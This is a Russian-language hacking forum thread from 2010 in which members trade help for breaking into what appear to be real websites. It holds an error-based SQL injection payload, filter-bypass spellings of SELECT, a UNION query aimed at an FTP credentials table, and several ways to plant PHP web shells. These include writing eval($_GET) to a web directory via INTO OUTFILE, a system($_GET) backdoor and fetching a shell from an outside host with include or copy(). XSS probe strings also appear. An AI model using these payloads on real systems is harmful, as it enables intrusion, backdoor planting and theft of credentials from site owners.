Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    Если включен вывод ошибок, то попробуйте
    Code:
    or 1 group by concat(version(),floor(rand(0)*2)) having min(0) or 1 -- -
     
  2. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    вывод ошибок выключен

    версию смог вывести подзапросом в слепую, но дальше тупик. select в подзапросах фильтруется
     
  3. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    пробуй:
    %53%45%4C%45%43%54
    /*!SELECT*/
    /*!12345SELECT*/ если mysql5
    /*!%53%45%4C%45%43%54*/
    SeLeCT
    SEL/**/ECT
     
  4. durito

    durito Elder - Старейшина

    Joined:
    6 Jun 2008
    Messages:
    125
    Likes Received:
    24
    Reputations:
    27
    во всех вариантах кроме последнего редиретит на главную страницу.

    последний запрос SEL/**/ECT не редиректит, но выдает неверный результат
     
  5. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    to durito может ссылку кинешь? че гадать то..

    to MastaBass1 файл .htaccess не формирует страницу, а локально переопределяет настройки сервера для текущей директории и во всех внутренних поддиректориях. В добавок он меняет настройки php.
     
  6. MastaBass1

    MastaBass1 Member

    Joined:
    25 Dec 2009
    Messages:
    61
    Likes Received:
    13
    Reputations:
    2
    Так где админка?=)
     
    1 person likes this.
  7. Ryzpm

    Ryzpm New Member

    Joined:
    16 Oct 2006
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Вот смотрите есть Адрес Сервера 82.137.162.97
    это универский сервер)
    как на него можно зайти с домашнего компа ?)
    препод сказал, что на него можно зайти даже через эксплориал, только как?
     
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    http://82.137.162.97/ не?
    и что такое "эксплориал"?
     
  9. Ryzpm

    Ryzpm New Member

    Joined:
    16 Oct 2006
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Браузер стандартный)
    Было б все так просто я б не написал тут)
     
  10. Vollkorn

    Vollkorn Member

    Joined:
    6 Nov 2010
    Messages:
    86
    Likes Received:
    15
    Reputations:
    -6
    Люди, а если через скуль записать в пхп файл что то типа <?php include(http://site.ru/shell.php ?> прокатит? Будет работать?
     
  11. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Будет, но чтобы шелл проинклудился, директива allow_url_include на сервере, должна быть в положении On.
     
  12. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Если есть права на инклюд внешних файлов - то да. А почему бы тебе не писать туда сразу чот тип
    Code:
    <?php system($_GET['command']);?>
    ?
     
  13. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Он не спросил, что ему лучше писать, а спросил, будет ли работать конкретный пример. И ненадо советовать лить system, так как эта функция может не работать на сервере (отключена через disable_functions) или на нее могут быть наложены ограничения (safe mod - on, с установленной директивой safe_mode_exec_dir) и плюс ко всему, это не очень рационально, так как набор команд у system ограничен лишь системными командами и если на сервере нету установленных качалок, то залить полноценный шелл становится проблематично, лучше использовать eval или assert.
     
    #15313 h00lyshit!, 10 Nov 2010
    Last edited: 11 Nov 2010
    1 person likes this.
  14. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    У вас нарушен синтаксис.
    Попробуйте так:
    PHP:
    <?
    copy('http://site.ru/shell.php','1.php');
    ?>
    И при заходе на 1.php будет шелл.
     
  15. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    если конечно у вас права дам будут хоть пиши helloworld=)
    права, права полную свободу взломщикам...
     
  16. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Попытка - не пытка. А говоря о eval, и assert, они с таким же успехом могуть быть отключены... хотя, и реже...

    Да мне прост первый вариант если не пашет внешний инклюд в голову влетел - писать system() :rolleyes:
     
    #15316 DeepBlue7, 10 Nov 2010
    Last edited: 11 Nov 2010
    1 person likes this.
  17. Gordiy

    Gordiy Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    61
    Likes Received:
    2
    Reputations:
    0
    помогите понять на живом примере:
    хочу выяснить есть ли xss уязвимость на сайте делаю раз: вставляю код проверки "><script>alert()</script>
    получаем

    [​IMG]

    я так пеонимаю фильтр стоит или все таки сработало?

    делаю два:

    Просто в поле вводим: '';!--"<test>=&{()} получаем

    [​IMG]

    пропало слово тест,что это значит?

    Дальше открываем html страничку и ищем слово "test"

    [​IMG]

    и смотри последующие сиволы..

    <> - они остались значит фильтра нет?
    ';!--" - оно все так и осталось значит это второе знамение о том что фильтр не робит и я нашел уязвимость???
     
  18. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Вообщем имеется сайт.
    Есть доступ к mysql.user, Версия мускула 5.0.32-Debian_7etch8-log
    bd работает под root, file_priv Y
    Прочитать конфиг сервера через load_file() не получается почемуто = \
    Так же в ошибке я вижу путь вида
    /home/u1234/site.ru/www/file.php
    В бд есть разные интересные таблицы, например нашол таблицу ftpuser с колонками:
    id, userid, passwd, uid, gid, homedir
    Но проблема в том что я из колонок таким запросом немогу ничего вывести.
    +union+select+1,userid,3,4,5,6,7,8,9,10+from+ftpuser+limit+0,1+--+
    Причем из любой таблицы и из лбой колонки. При таком запросе мне просто выдает ошибку. Если бы колонки были пустые, ошибки не было бы, просто показывало бы пустоту в 2ечке)

    Есть у кого каикие нить соображения как вывести инфу из колонок ? или мб можно что то замутить с Y привилегией? )
     
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    +union+select+1,'<?php eval($_GET[e])?>',3,4,5,6,7,8,9,10+into+outfile+'/home/u1234/site.ru/www/shell.php'+--+
    шелл будет тут site.ru/shell.php


    да там есть уязвимость
     
    _________________________
    #15319 Expl0ited, 11 Nov 2010
    Last edited: 11 Nov 2010
    1 person likes this.
  20. Gordiy

    Gordiy Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    61
    Likes Received:
    2
    Reputations:
    0
    а вы не подскажите какой из факторов указал вам на это?
     
Thread Status:
Not open for further replies.